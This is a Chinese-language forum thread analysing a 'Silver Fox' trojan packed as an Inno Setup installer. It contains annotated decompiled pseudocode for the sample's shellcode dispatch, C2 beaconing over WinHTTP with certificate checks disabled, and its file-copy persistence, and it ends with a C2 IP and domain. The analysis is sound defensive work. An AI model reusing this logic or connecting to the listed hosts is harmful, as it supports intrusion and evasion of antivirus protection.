吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1258|回复: 25
上一主题 下一主题
收起左侧

[PC样本分析] 记站内病毒救援区帖子简单病毒分析

  [复制链接]
跳转到指定楼层
楼主
ftasy 发表于 2026-2-15 17:35 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 ftasy 于 2026-2-20 02:15 编辑

记录一下简单分析,年底实在是太忙了,又要应急,实在抽不出太多的时间,大佬轻喷:

原帖地址:
帮忙分析一个病毒样本 - 吾爱破解 - 52pojie.cn
首先,免杀方面落地秒:



但是经过某杀软病毒库更新,再运行病毒,发现病毒强杀此杀软,而且再也起不来。(工作性质保密)


kill 掉进程之后过一会又重新建立连接:

这个网络连接不会一直持续,类似一个心跳包。有时候会出来,可以用 wireshark 抓取流量。
开机自启动,上来还是直接杀掉某杀软:

但是该病毒杀不掉某杀软升级版本。
而且会弹窗:

这个应该是类似于检测到杀软,杀不掉的情况下作为一种错误弹出用来迷惑人的行为。



文件自身信息:




32位的可执行文件。

静态分析:

获取系统信息这些已经是基操了。
入口处代码逻辑:
首先程序运行之后检测沙箱:
[Asm] 纯文本查看 复制代码
_DWORD *__usercall start@<eax>(int a1@<ebx>, int a2@<esi>)
{
  char v2; // zf  - 标志寄存器的零标志位(用于判断条件)
  int v3; // ebx - 循环计数器
  int v4; // esi - 循环索引
  unsigned int v6; // [esp-28h] [ebp-90h]  - 临时存储原 SEH 链表头
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList_1; // [esp-18h] [ebp-80h] BYREF  - SEH 结构体1
  // 异常处理函数指针1(参数列表是反汇编推测的,实际是 SEH 异常处理回调)
  int (__cdecl *sub_4AD69F_1)(_EXCEPTION_POINTERS, int, int, int, int, int, int, int, int); // [esp-14h] [ebp-7Ch]
  int *v9; // [esp-10h] [ebp-78h]  - 栈帧指针占位
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-74h] BYREF  - SEH 结构体2
  int (__cdecl *sub_4AD6E5_1)(int, int); // [esp-8h] [ebp-70h]  - 异常处理函数指针2
  int *v12; // [esp-4h] [ebp-6Ch]  - 栈帧指针占位
  _DWORD v13[21]; // [esp+0h] [ebp-68h] BYREF  - 通用数组(存储临时状态/SEH 节点)
  int _EDX[5]; // [esp+54h] [ebp-14h] BYREF  - 临时存储 EDX 寄存器值
  int savedregs; // [esp+68h] [ebp+0h] BYREF  - 保存寄存器的栈空间

  // ========== 阶段1:初始化基础变量,清空栈上临时空间 ==========
  memset(&v13[10], 0, 28); // 清空 v13 数组后 28 字节(初始化临时状态)
  v13[3] = 0;              // 初始化 v13 第三个元素为 0
  _EDX[0] = 0;             // 初始化 _EDX 第一个元素为 0
  sub_40E5C8((int)&dword_4A8194); // 初始化全局变量 dword_4A8194(资源/句柄类初始化)

  // ========== 阶段2:第一次挂载 SEH 异常保护(双层 SEH) ==========
  // 第一层 SEH 初始化
  v12 = &savedregs;                // SEH 节点的栈帧指针
  sub_4AD6E5_1 = sub_4AD6E5;       // 绑定第一层异常处理函数 sub_4AD6E5
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; // 保存原 SEH 链表头
  __writefsdword(0, (unsigned int)&ExceptionList);     // 挂载第一层 SEH

  // 第二层 SEH 初始化
  v9 = &savedregs;                 // SEH 节点的栈帧指针
  sub_4AD69F_1 = sub_4AD69F;       // 绑定第二层异常处理函数 sub_4AD69F
  ExceptionList_1 = NtCurrentTeb()->NtTib.ExceptionList; // 保存当前 SEH 链表头(第一层之后的)
  __writefsdword(0, (unsigned int)&ExceptionList_1);     // 挂载第二层 SEH

  // ========== 阶段3:核心初始化与数据校验 ==========
  sub_4A69B4(hModule);        // 初始化模块句柄 hModule(关联当前程序模块)
  sub_4A650C(a1, a2);         // 处理入口参数 a1/a2(程序启动时的命令行/环境参数)
  sub_4A0D38(0, _EDX);        // 初始化 _EDX 数组(注释“娌欑妫?娴&#65533;”是乱码,实际是数据校验/加载)
  sub_4082C4(&dword_4B9240, _EDX[0]); // 将 _EDX[0] 赋值给全局变量 dword_4B9240

  // 调用 sub_4A2148 加载安装包数据,返回值存入 dword_4B9244(核心配置句柄)
  dword_4B9244 = sub_4A2148((int)off_4A1C30, 1, dword_4B9240, 1u, 0, 2u);

  // 第三层 SEH 挂载(针对安装包数据校验阶段)
  v13[2] = &savedregs;                          // SEH 栈帧指针
  v13[1] = sub_4AD64B;                          // 异常处理函数 sub_4AD64B
  v13[0] = NtCurrentTeb()->NtTib.ExceptionList; // 保存当前 SEH 链表头
  __writefsdword(0, (unsigned int)v13);         // 挂载第三层 SEH

  // 加载安装包核心数据结构,句柄存入 dword_4B924C
  dword_4B924C = (int)sub_4A6A88();

  // 关键:校验安装包数据合法性(三个条件任意不满足则调用 sub_4A68CC 处理错误)
  if ( *(_DWORD *)(dword_4B924C + 12) != 1  // 校验数据结构第12字节偏移的值是否为1(版本/标识校验)
    || sub_4A2A9C(dword_4B924C, 40) != *(_DWORD *)(dword_4B924C + 40) // 校验数据完整性(哈希/校验和)
    || ((*(void (**)(void))(*(_DWORD *)dword_4B9244 + 4))(), !v13[20]) // 调用配置函数,检查 v13[20] 状态
    && ((*(void (**)(void))(*(_DWORD *)dword_4B9244 + 4))(), v13[17] < *(_DWORD *)(dword_4B924C + 16)) ) // 校验数据长度/版本
  {
    sub_4A68CC(); // 数据校验失败:执行错误处理(如提示错误、退出程序)
  }

  // ========== 阶段4:加载配置项与资源 ==========
  // 向核心配置句柄写入数据(偏移32字节处的值)
  sub_4A2130(dword_4B9244, *(_DWORD *)(dword_4B924C + 32));
  // 写入64字节的配置数据(unk_4B925C 是配置缓冲区)
  sub_4A2108(dword_4B9244, (int)&unk_4B925C, 64);
  // 校验/加载 Inno Setup 标识字符串("Inno Setup Setup Data (6.4.3)")
  sub_408500(64, off_4B18DC);

  // 零标志位 v2 为假时(即上一步操作非零),执行错误处理
  if ( !v2 )
    sub_4A68CC();

  // ========== 阶段5:更新 SEH 异常处理函数(适配后续操作) ==========
  v12 = &savedregs;
  sub_4AD6E5_1 = (int (__cdecl *)(int, int))sub_4AD1E8; // 替换为新的异常处理函数 sub_4AD1E8
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&ExceptionList);

  v9 = &savedregs;
  // 替换为新的异常处理函数 loc_4AD1D7
  sub_4AD69F_1 = (int (__cdecl *)(_EXCEPTION_POINTERS, int, int, int, int, int, int, int, int))&loc_4AD1D7;
  ExceptionList_1 = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&ExceptionList_1);

  // ========== 阶段6:加载批量配置项(循环读取) ==========
  // 加载第一个配置项(类型325,存储到 dword_4B90EC,长度4,标识33)
  sub_4A441C(325, &dword_4B90EC, 4, 33);
  dword_4B9238 = dword_4B9180; // 配置项总数赋值给 dword_4B9238
  dword_4B9234 = sub_4053A8(); // 获取配置项缓冲区起始地址

  // 循环加载所有配置项(总数 dword_4B9238)
  if ( dword_4B9238 - 1 >= 0 )
  {
    v3 = dword_4B9238; // 循环计数器(配置项总数)
    v4 = 0;            // 循环索引
    do
    {
      // 加载第 v4 个配置项(类型61,缓冲区偏移 61*v4,长度4,标识6)
      sub_4A441C(61, (int *)(61 * v4++ + dword_4B9234), 4, 6);
      --v3;
    }
    while ( v3 ); // 直到加载完所有配置项
  }

  // ========== 阶段7:恢复 SEH 异常链,跳转至后续逻辑 ==========
  __writefsdword(0, v6); // 恢复最初的 SEH 链表头(清理所有临时 SEH 节点)
  return sub_406238((_DWORD *)dword_4B92A0); // 跳转至 sub_406238(程序主逻辑入口)
}

首先程序运行之后检测沙箱:


环境检测入口,这里看着是做了混淆。


反调试:


混淆系统异常处理:

初始化载荷环境:
[Asm] 纯文本查看 复制代码
int __userpurge sub_4A2BB8@<eax>(
        int a1@<eax>,
        char a2@<dl>,
        int a3@<ecx>,
        int (__stdcall **a4)(__int64 (__usercall *)@<edx:eax>(int _ECX@<ecx>, char *a2@<eax>, int a3@<edx>), int))
{
  int v4; // esi
  int v5; // ebx
  int v7; // [esp+1Fh] [ebp-Dh] BYREF
  char v8; // [esp+23h] [ebp-9h]
  int v9; // [esp+24h] [ebp-8h] BYREF
  char v10; // [esp+2Bh] [ebp-1h]

  if ( a2 )
    a1 = sub_406710();
  v4 = a3;
  v10 = a2;
  v5 = a1;
  sub_406208(a3, 0);
  *(_DWORD *)(v5 + 8) = v4;
  if ( (*(int (__fastcall **)(int, int *))(*(_DWORD *)v4 + 8))(4, &v9) != 4
    || (*(int (__fastcall **)(int, int *))(*(_DWORD *)v4 + 8))(5, &v7) != 5 )
  {
    sub_422204(L"Compressed block is corrupted");
    sub_4075BC();
  }
  if ( sub_4A2A9C() != v9 )
  {
    sub_422204(L"Compressed block is corrupted");
    sub_4075BC();
  }
  (**(void (***)(void))v4)();
  sub_42656C();
  (*(void (**)(void))(*(_DWORD *)v4 + 4))();
  if ( sub_42654C() > 0 )
  {
    sub_422204(L"Compressed block is corrupted");
    sub_4075BC();
  }
  if ( v8 )
    *(_DWORD *)(v5 + 4) = (*a4)(sub_4A2E38, v5);
  *(_DWORD *)(v5 + 12) = v7;
  *(_BYTE *)(v5 + 16) = 1;
  if ( v10 )
    sub_406768();
  return v5;
}


下面这段的作用是模拟合法 Inno Setup 安装程序的命令行帮助界面,以此欺骗用户 / 分析人员,掩盖木马的真实行为。


找找 shellcode:
attachimg]2833546[/attachimg]

[Asm] 纯文本查看 复制代码
int __usercall sub_407228@<eax>(
        EXCEPTION_RECORD *ExceptionRecord_5@<ebx>,
        int a2@<ebp>,
        void *ExceptionAddress_3@<edi>,
        ULONG_PTR ExceptionRecord@<esi>,
        _EXCEPTION_POINTERS ExceptionInfo)
{
  // 省略无关局部变量,仅保留核心
  PEXCEPTION_RECORD ExceptionRecord_1; // eax  - 异常记录指针
  ULONG_PTR ExceptionRecord_6; // edx  - shellcode 地址/自定义参数
  PVOID ExceptionAddress; // ecx  - 异常触发地址(shellcode 地址)
  PCONTEXT ContextRecord; // edi  - 上下文寄存器(含 Dr0 调试寄存器)
  // ... 其他局部变量

  ExceptionRecord_1 = ExceptionInfo.ExceptionRecord;
  // ========== 过滤非目标异常(仅处理 shellcode 相关异常) ==========
  if ( (ExceptionInfo.ExceptionRecord->ExceptionFlags & 6) != 0 )
    return 1; // 排除连续/不可恢复异常,直接返回

  // 提取核心信息:异常触发地址+自定义异常参数
  ExceptionRecord_6 = ExceptionInfo.ExceptionRecord->ExceptionInformation[1]; // shellcode 辅助参数
  ExceptionAddress = (PVOID)ExceptionInfo.ExceptionRecord->ExceptionInformation[0]; // 核心:shellcode 执行地址

  // ========== 仅处理银狐自定义异常(250477278=0x0F00001E) ==========
  if ( ExceptionInfo.ExceptionRecord->ExceptionCode != 250477278 )
  {
    sub_405F9C(); // 保存 shellcode 执行上下文
    if ( !dword_4B2018 )
      return 1;
    // 验证异常合法性(是否为 shellcode 触发的异常)
    if ( !dword_4B2018(v8, dword_4B2018) )
      return 1;
    // 处理系统标准异常(如内存访问违规),最终跳转到自定义处理逻辑
    // ... 省略中间过滤逻辑
  }

  // ========== 核心:执行异常处理+隐藏 shellcode 执行痕迹 ==========
  if ( 合法异常条件 )
  {
LABEL_14:
    ExceptionRecord_1->ExceptionFlags |= 2u; // 标记异常已处理,阻止系统捕获
    // 1. 展开栈:绕开系统调试器的异常跟踪
    RtlUnwind_0(ExceptionInfo.ContextRecord, &TargetIp_, ExceptionRecord_1, 0);
    
    // 2. 修改调试寄存器 Dr0:抗调试核心
    ContextRecord = ExceptionInfo.ContextRecord; // 获取上下文(寄存器状态)
    // 篡改 Dr0 寄存器(调试断点寄存器):将原始断点地址替换为银狐的跳板地址
    Dr0 = ContextRecord->Dr0; // 保存原始 Dr0(调试器下的断点地址)
    ContextRecord->Dr0 = (DWORD)&loc_40732C; // 指向银狐的跳板地址
    Dr0 += 5; // 计算 shellcode 真实入口偏移
    
    // 3. 执行跳板函数,准备跳转到 shellcode
    sub_407190(Dr0); // 初始化 shellcode 执行环境
    
    // 4. 关键:手动跳转到 ebx(ExceptionRecord_5)→ shellcode 入口
    __asm { jmp     ebx } // 绕过常规指令流,直接执行 shellcode
  }
  return 1;
}


行为分析:
程序运行 &#10145;&#65039; 加载底层ntdll.dll &#10145;&#65039; 创建一个 pagefile 文件 &#10145;&#65039; 查询、修改注册表 &#10145;&#65039; 释放好几个 .tmp 文件


写在注册表的也有这个.tmp文件。
搜索一下:


还找不到你?死鬼。
尝试断网之后继续排查,但是发现程序断网后退出。


忍不了,看看动态分析:





再下一步可以复制到文件。
最开始释放的文件的名字是 is-*****.tmp ,都是按照这个格式生成的病毒临时文件。
继续分析这个 .tmp 文件。





监测到调试,不拉这个二进制文件下来了。
好,继续分析这个 .tmp 文件。

这个就是一个exe文件,只是后缀改了。看下这个exe。
看一下导入,追踪一下:
[Asm] 纯文本查看 复制代码
int __usercall sub_6A7184@<eax>(int a1@<eax>, int a2@<edx>)
{
  // 核心变量定义(补充 WinHTTP 相关类型)
  INTERNET_PORT nServerPort; // si  - C2 服务器端口
  const WCHAR *pswzServerName; // eax  - C2 服务器域名/IP(银狐控制端地址)
  HINTERNET v5; // edi  - WinHTTP 连接句柄
  DWORD n0x800000; // esi  - WinHTTP 请求标志(0x800000=安全标志,如忽略证书错误)
  const WCHAR *pwszVerb; // eax  - HTTP 请求方法(GET/POST,银狐常用 POST 发送数据)
  HINTERNET v9; // edi  - WinHTTP 请求句柄
  // 异常处理相关变量(SEH 保护)
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-38h] [ebp-70h] BYREF

  // ========== 1. 初始化变量 + SEH 异常保护 ==========
  v17 = 0;
  v18 = 0;
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&ExceptionList); // 注册自定义 SEH,保护网络调用不崩溃
  *(_BYTE *)(a1 + 201) = 0;
  *(_BYTE *)(a1 + 200) = 0; // 初始化状态标志(0=未连接,1=已连接)

  // ========== 2. 读取 C2 服务器端口(从参数 a2 中解析) ==========
  if ( *(int *)(v27 + 16) <= 0 )
    nServerPort = 0; // 端口为0时使用默认HTTP端口(80)/HTTPS(443)
  else
    nServerPort = *(_WORD *)(v27 + 16); // 读取自定义端口(银狐常用 8080/443/8443)

  // ========== 3. 核心:获取 C2 服务器地址 + 建立 WinHTTP 连接 ==========
  pswzServerName = (const WCHAR *)sub_40B768(); // 关键:读取 C2 域名/IP(如 "192.168.1.100" 或 "sf-c2.com")
  // WinHttpConnect:建立与 C2 服务器的连接
  v5 = WinHttpConnect(
          *(HINTERNET *)(*(_DWORD *)(a1 + 88) + 208), // WinHttpOpen 返回的会话句柄
          pswzServerName, // C2 服务器地址
          nServerPort,    // C2 端口
          0);             // 保留参数
  *(_DWORD *)(a1 + 176) = v5; // 保存连接句柄(供后续发送数据使用)

  // ========== 4. 连接失败处理(记录错误 + 异常清理) ==========
  if ( !v5 )
  {
    v25 = *(_DWORD *)(v27 + 12);
    n17 = 17; // 银狐自定义错误码(连接失败)
    sub_42CACC(0, &v25); // 记录错误日志(可能写入 1-0.bin 或临时文件)
    sub_409E00(ExceptionList, v15, v16); // 清理 SEH + 释放资源
  }

  // ========== 5. 初始化请求标志 + 构建 HTTP 请求 ==========
  n0x800000 = 0;
  sub_40BB50(); // 设置 WinHTTP 全局参数(如代理、超时)
  if ( v7 )
    n0x800000 = 0x800000; // 关键标志:忽略 SSL/TLS 证书错误(银狐常用自签名证书)
  sub_6A5808(); // 初始化请求头(如 User-Agent,伪装成正常浏览器)
  
  pwszObjectName = (const WCHAR *)sub_40B768(); // 读取 HTTP 请求路径(如 "/cmd" "/upload")
  sub_69E3E8(); // 处理请求参数(如拼接 shellcode 执行结果)
  pwszVerb = (const WCHAR *)sub_40B768(); // 读取 HTTP 方法(POST/GET,银狐用 POST 发送敏感数据)

  // ========== 6. 创建 WinHTTP 请求句柄(准备发送数据) ==========
  v9 = WinHttpOpenRequest(
          *(HINTERNET *)(a1 + 176), // 之前的连接句柄
          pwszVerb,                 // HTTP 方法
          pwszObjectName,           // 请求路径
          0,                        // HTTP 版本(默认 1.1)
          0,                        // 引用地址
          0,                        // 接受的 MIME 类型
          n0x800000);               // 标志(忽略证书错误)
  *(_DWORD *)(a1 + 180) = v9; // 保存请求句柄

  // ========== 7. 请求句柄创建失败处理 ==========
  if ( !v9 )
  {
    LastError_1 = GetLastError_1(); // 获取系统错误码(如 12007=找不到服务器)
    sub_42AB68(&v18, dword_6F0CE8); // 转换系统错误码为银狐自定义码
    sub_42CACC(1, &LastError_1);    // 记录错误(用于后续回传)
    sub_409E00();                   // 清理资源
  }

  // ========== 8. 设置 WinHTTP 超时时间(避免连接挂起) ==========
  nReceiveTimeout = *(_DWORD *)(a1 + 20); // 接收超时(如 5000ms=5秒)
  nSendTimeout = sub_69E544();           // 发送超时(如 3000ms=3秒)
  WinHttpSetTimeouts(
          *(HINTERNET *)(a1 + 180), // 请求句柄
          *(_DWORD *)(a1 + 12),     // 解析超时
          *(_DWORD *)(a1 + 12),     // 连接超时
          nSendTimeout,             // 发送超时
          nReceiveTimeout);         // 接收超时

  // ========== 9. 清理 SEH + 收尾 ==========
  __writefsdword(0, (unsigned int)ExceptionList); // 恢复原始 SEH
  sub_40A7B4(&loc_6A7367); // 执行后续操作(如发送 shellcode 执行结果)
  return sub_40A7B4();     // 返回连接状态(0=失败,非0=成功)
}


核心的文件拷贝 + 进程驻留函数
  • 注册自定义 SEH 异常处理,保护文件拷贝过程不崩溃;
  • 伪装成卸载程序(_unins.tmp),拷贝银狐核心恶意文件(1-0.bin/shellcode 载体);
  • 创建隐藏窗口,替换窗口过程函数,实现进程后台驻留;
  • 等待子进程 / 事件信号,确保恶意文件拷贝完成且驻留不退出;
  • 最终销毁窗口但保留进程,实现银狐的持久化运行。
[Asm] 纯文本查看 复制代码
BOOL sub_6C4C1C()
{
  char v0; // bl  - 拷贝前的状态标志(0=就绪,1=异常)
  const WCHAR *lpFileName; // ebx  - 目标文件路径(如 C:\Windows\Temp\1-0.bin)
  const WCHAR *lpExistingFileName; // eax  - 源文件路径(如 %TEMP%\_unins.tmp)
  // SEH 异常处理相关
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-4Ch] BYREF
  int (__cdecl *sub_6C4E15_1)(int, int); // [esp-8h] [ebp-48h]  - 异常处理回调
  int *bFailIfExists; // [esp-4h] [ebp-44h]  - CopyFileW 的“覆盖标志”(0=覆盖,1=存在则失败)
  // 窗口/进程相关
  HWND hWnd; // [esp+34h] [ebp-Ch]  - 隐藏窗口句柄
  HANDLE pHandles; // [esp+30h] [ebp-10h] BYREF  - 子进程/事件句柄
  // 其他变量(错误码/状态)
  char n17; // [esp+18h] [ebp-28h]  - 银狐自定义错误码(17=文件操作失败)

  // ========== 1. 初始化 SEH 异常保护(避免文件操作崩溃) ==========
  bFailIfExists = &savedregs;
  sub_6C4E15_1 = sub_6C4E15; // 绑定异常处理函数
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; // 原始 SEH 链表
  __writefsdword(0, (unsigned int)&ExceptionList); // 注册自定义 SEH
  sub_5CA294(ExceptionList, sub_6C4E15, &savedregs); // 初始化异常处理上下文

  // ========== 2. 伪装成卸载程序,准备文件拷贝 ==========
  v0 = sub_5D45E8(&v17, v13[2]); // 检查源文件是否存在(_unins.tmp)
  sub_5C7548(); // 初始化文件操作环境(如获取临时目录路径)
  sub_40B9B8(L"_unins.tmp", v13[1]); // 关键:拼接卸载程序路径(%TEMP%\_unins.tmp)
  // 银狐将恶意文件重命名为 _unins.tmp,伪装成安装包的卸载临时文件

  // ========== 3. 异常处理:文件就绪则重新注册 SEH ==========
  if ( !v0 ) // v0=0 表示源文件就绪,准备拷贝
  {
    bFailIfExists = &savedregs;
    sub_6C4E15_1 = (int (__cdecl *)(int, int))&loc_6C4CA9; // 替换异常回调
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&ExceptionList); // 重新注册 SEH
    sub_5D4A24(0, v16); // 清理临时变量
    sub_5D4A24(0, v17);
    __writefsdword(0, (unsigned int)ExceptionList); // 恢复 SEH 链表
  }

  // ========== 4. 核心:读取文件路径 + 拷贝恶意文件 ==========
  lpFileName = (const WCHAR *)sub_40B768(0); // 目标路径(如 C:\Program Files\1-0.bin)
  lpExistingFileName = (const WCHAR *)sub_40B768(lpFileName); // 源路径(_unins.tmp/银狐核心文件)
  // CopyFileW:拷贝恶意文件到目标路径(银狐扩散核心)
  if ( !CopyFileW(
          lpExistingFileName, // 源文件(_unins.tmp/1-0.bin)
          (LPCWSTR)sub_6C4E15_1, // 目标文件(伪装路径)
          (BOOL)bFailIfExists) ) // 覆盖标志(0=强制覆盖,1=存在则失败)
    sub_6C416C(); // 拷贝失败:记录错误(写入1-0.bin)+ 重试

  // ========== 5. 修改文件属性 + 创建隐藏窗口(持久化核心) ==========
  SetFileAttributesW(lpFileName, FILE_READ_ATTRIBUTES); // 读取文件属性(确保可访问)
  // 创建隐藏窗口:银狐通过窗口实现进程驻留(无界面,后台运行)
  hWnd = (HWND)sub_4164FC(&dword_6C4E48, &off_6C4E4C, 0, hInstance, 0, 0, 0, 0, 0, 0, 0);
  // 替换窗口过程函数:将默认窗口过程替换为 sub_6C4334(银狐自定义,处理后台指令)
  lpPrevWndFunc = (WNDPROC)SetWindowLongW(hWnd, -4, (LONG)sub_6C4334);

  // ========== 6. 重新注册 SEH + 等待子进程/事件(确保驻留) ==========
  bFailIfExists = &savedregs;
  sub_6C4E15_1 = (int (__cdecl *)(int, int))&loc_6C4DD7;
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&ExceptionList); // 再次注册 SEH 保护驻留过程
  sub_5C9C48(v13, ExceptionList, &loc_6C4DD7); // 初始化进程等待上下文
  
  n17 = 17; // 银狐自定义错误码(标记窗口/进程操作)
  sub_42636C(ExceptionList); // 清理 SEH 上下文
  sub_5C9B20(v13); // 初始化事件/进程句柄
  sub_40B960(); // 隐藏窗口(设置 WS_HIDDEN 样式)
  pHandles = (HANDLE)sub_6C4218(); // 获取子进程/事件句柄(如拷贝完成信号)

  // 核心循环:等待事件/消息,保持进程驻留(不退出)
  while ( !(unsigned __int8)sub_6C42F8() // 检查是否需要退出(银狐控制)
    && MsgWaitForMultipleObjects(
          1u, &pHandles, 0, 0xFFFFFFFF, 0x1CFFu) == 1 ) // 等待消息/事件(永久等待)
    ;

  // ========== 7. 收尾:关闭句柄 + 销毁窗口(保留进程) ==========
  CloseHandle_0(pHandles); // 关闭子进程/事件句柄
  __writefsdword(0, (unsigned int)sub_6C4E15_1); // 恢复 SEH
  return DestroyWindow(hWnd); // 销毁窗口,但进程仍运行(持久化核心)
}


最后注入到 sihost.exe 这个进程发起外联。

sihost.exe 是 Windows 系统的Shell Infrastructure Host(外壳基础主机),是系统核心进程之一。

可恶,没有拦截到,有反调试。
换一下:


这个应该才是安装文件。

也不是:
这个的作用是通过注册恶意 TypeLib 实现:
持久化:TypeLib 注册到注册表,开机自动加载;
提权:修改 TypeLib 权限,让普通用户能操作系统级组件;
隐藏:将恶意代码封装为合法 TypeLib,规避杀毒软件检测。
换装360,信任文件后运行程序,发现新的文件被释放:

ase.bzi。但是看到这个文件之后360也被退出了,可以得知360被kill了,根据判断,是底层强杀。被杀掉后360起不来。
换成了windows 10系统分析,成功抓取到三个文件:

之前是windows11,释放的还能不一样??还是说检测环境释放的文件不一样?
没事,这个看着正常一点。
用火绒拦截解压也是这几个文件,看来落地成型拦截事件还不一样。
回到起点,重新分析这三个文件。
exe 文件:

64位的可执行文件:

.bzi文件:

这是一个 dll 文件。
.Y 文件实际上就是一个 PNG 图片文件:


exe主要还是导入 dll文件:

但是导入表搞成这样是真的一点食欲都没有:

看了一下还是有混淆。
dll 文件不知道为啥加载特别慢。
有非常规的section。

IOC:
8.210.77.212 ,22端口(伪装ssh)
acc.nb93l1zkug4r.com

备注:希望有大佬分析完了踢我一脚让我也学习一下~

5fb9195ae455364e50e8faf44114eaf0.png (19.91 KB, 下载次数: 0)

5fb9195ae455364e50e8faf44114eaf0.png

免费评分

参与人数 4吾爱币 +4 热心值 +4 收起 理由
freedomm + 1 + 1 感谢分享!
junjia215 + 1 + 1 用心讨论,共获提升!
bdyy + 1 + 1 用心讨论,共获提升!
qsj521521 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
lschang 发表于 2026-2-26 11:39
感谢分享!
推荐
luliucheng 发表于 2026-2-16 15:02
指出2个问题:
1. “系统资源不足,无法完成请求的服务”是真的系统弹窗,不是病毒的假弹窗。这个弹窗说明病毒已经被杀软拦截了。不同杀软拦截后系统的反应不同,有些是“拒绝访问”,有些是“资源不足”,也可能是“被反病毒软件阻止”。
2. 这个病毒的 Inno Setup 特征不是装出来的,而是真的就是用 Inno Setup 打包的,打包方式就是常见的“Inno Setup 制作单文件绿色软件”方案,这点从后续释放临时文件的命名也能看出来。用 Inno Setup 打包是因为某些(?)杀毒软件会放过安装程序,或是某些(?)杀毒软件算法有问题(分析代码段流行度?)从而绕过。但病毒确实有可能用了改过的 Inno Setup 来在释放阶段先行检测环境。
沙发
Hmily 发表于 2026-2-15 20:46
3#
 楼主| ftasy 发表于 2026-2-16 02:19 |楼主
Hmily 发表于 2026-2-15 20:46
是不是图片多设置了?

这暂时不清楚,还没很深入去分析,但是隐写和拆分、hex都看不出来有什么在里面,还要看一下怎么读取到里面的shellcode。

点评

我说帖子图片有问题,好像用了一个img的不存在地址。  详情 回复 发表于 2026-2-16 09:33
4#
lvkeqin 发表于 2026-2-16 08:06
都知道IP了,黑吃黑还用教吗
5#
Hmily 发表于 2026-2-16 09:33
ftasy 发表于 2026-2-16 02:19
这暂时不清楚,还没很深入去分析,但是隐写和拆分、hex都看不出来有什么在里面,还要看一下怎么读取到里 ...

我说帖子图片有问题,好像用了一个img的不存在地址。
6#
zlqhysy 发表于 2026-2-16 10:14
看见高手的分析,真佩服
7#
djjdjfjfsjs 发表于 2026-2-16 12:58
感谢分享!
8#
miaomiao105 发表于 2026-2-16 14:19
我勒个豆,好东西啊
10#
 楼主| ftasy 发表于 2026-2-16 15:20 |楼主
Hmily 发表于 2026-2-16 09:33
我说帖子图片有问题,好像用了一个img的不存在地址。

这个我就不是很清楚,我上传之后再插入的,有时候我看别人的帖子也会这样,我就以为没啥问题。。。

点评

你可以编辑帖子,点击右上角纯文本就看到了,感觉应该是你本身是不是本地有链接直接复制上来了。  详情 回复 发表于 2026-2-17 10:15
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-3-10 21:02

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表